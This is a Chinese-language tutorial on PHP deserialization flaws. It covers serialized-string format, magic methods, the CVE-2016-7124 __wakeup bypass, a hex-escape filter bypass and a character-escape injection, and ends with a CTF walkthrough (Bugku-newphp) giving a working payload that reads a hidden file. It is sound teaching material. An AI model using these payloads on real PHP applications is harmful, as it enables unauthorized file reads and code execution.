定义
PHP反序列化可以将一个对象转换为一个字符串保存起来,这将导致类中的成员可被用户控制,同时PHP在反序列化时会触发一些魔术函数,若这些魔术函数中含有危险函数且危险函数的参数是类的成员变量,即可导致越权访问或者命令执行。
主要涉及到两个函数:
serialize($o)
:将对象序列化为字符串unserialize($str)
:将字符串反序列化为对象
序列化字符串解析
PHP序列化对象只会序列化对象的成员变量,对三个类型的成员变量有不同的标志方法。
例:
class Obj {
public $int = 2;
protected $str = "2";
private $a = "a";
}
$o = new Obj();
echo serialize($o);
O:3:"Obj":3:{s:3:"int";i:2;s:6:"%00*%00str";s:1:"2";s:6:"%00Obj%00a";s:1:"a";}
这里%00
指的是空字符,也就是ASCII码为00的字符,由于无法打印就用%00
代替,我们逐部分分析。
O:3:"Obj":3:
:第一个O指明了序列化的对象是一个通用对象,第一个3指明对象名长度为3个字符,"Obj"指明对象名称,第二个3指明这个对象有几个成员。{···}
:中间指明所有成员的信息s:3:"int";i:2;
:s:3指明成员名称以及长度,i:2指明成员的类型为整型、值为2s:6:"%00*%00str";s:1:"2"
:成员的名称前被拼接%00*%00
来表示这是一个protected类型成员。s:6:"%00Obj%00a";s:1:"a";
:成员的名称前被拼接%00{对象名}%00
来表示这是一个private类型成员。
各字符表示的对象类型
a -
array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O -
class
N - null
R - pointer reference
U - unicode string
魔术函数
魔术函数列表
__construct 当一个对象创建时被调用,
__destruct 当一个对象销毁时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或
`empty`()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发
魔术函数的绕过
wakeup()绕过
PHP反序列化漏洞CVE-2016-7124
PHP版本:
- PHP5<5.6.25
- PHP7<7.0.10
当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过__wakeup()
例:O:3:"Obj":
4:{s:3:"int";i:2;s:6:"%00*%00str";s:1:"2";s:6:"%00Obj%00a";s:1:"a";}
这里标明有4个成员变量,但是{}
中只有三个成员变量,会绕过__wakeup()
创建对象。
字符屏蔽绕过
由于向protected成员与private成员注入时必须要使用到%00
,这导致我们可能会看到题目屏蔽了不可打印字符,只保留了可打印字符,这种时候我们可以将标明变量名称类型的s
替换为S
,这可以让PHP以16进制的方式解析后方字符串。
例:O:3:"Obj":3:{s:3:"int";i:2;S:6:"\00*\00str";s:1:"2";S:6:"\00Obj\00a";s:1:"a";}
PHP 7.1以上版本对属性类型不敏感,public属性序列化不会出现不可打印字符,可以用public属性来绕过。
字符逃逸
如果在程序有对序列化之后的字符串进行会改变字符数量的操作时,我们就可以尝试进行字符逃逸。
这里我们用一道例题讲解:Bugku-newphp
代码审计
打开靶场,获得以下代码:
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class evil{
public $hint;
public function __construct($hint){
$this->hint = $hint;
}
public function __destruct(){
if($this->hint==="hint.php")
@$this->hint = base64_encode(file_get_contents($this->hint));
var_dump($this->hint);
}
function __wakeup() {
if ($this->hint != "╭(●`∀´●)╯") {
//There's a hint in ./hint.php
$this->hint = "╰(●’◡’●)╮";
}
}
}
class User
{
public $username;
public $password;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
$tmp = $data;
}
function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}
$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];
$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
die("NoNoNo!");
unserialize(read(write($a)));
经过代码审计,我们可以知道,我们要构造evil类的反序列化字符串,并将其嵌入username或者password中,构成User类的一部分进行反序列化。我们还需要绕过__wakeup()函数。
构造反序列化
payload:O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
但是直接将这个字符串上传至username中是没有用的,如果我们直接上传,User类对象序列化出来的的字符串为O:4:"User":2:{s:8:"username";s:41:"O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}";s:8:"password";s:6:"123456";}
,在反序列化时也只会被当做字符串的一部分进行解析。
不过我们注意到这里有一个函数会将字符串中的\0\0\0
替换为[%00]*[%00]
([%00]指代空字符),它将6个字符转换为三个字符,那么我们可以构造一个输入,使得在经过这个转换后,会吞掉一部分字符串,从而构成一个新的反序列化字符串。
构造字符串:O:4:"User":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:60:"a";s:8:"password";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}}";}
在执行完read()
函数之后,username中的\0\0\0
变成了[%00]*[%00]
,使得6个字符变成了3个字符,导致后面的";s:8:"password";s:60:"a
被吞入username中,使我们构造的password字段逃逸出来,在最后使用}
提前闭合,将多余的";}
屏蔽。
那么很明显了,我们的payload为:username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=a";s:8:"password";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}}
获得提示在index.cgi中。
cgi文件是种公共网关接口脚步文件,可以执行命令。
我们可以通过get方法向name传参,构造file伪协议,读取根目录的flag文件。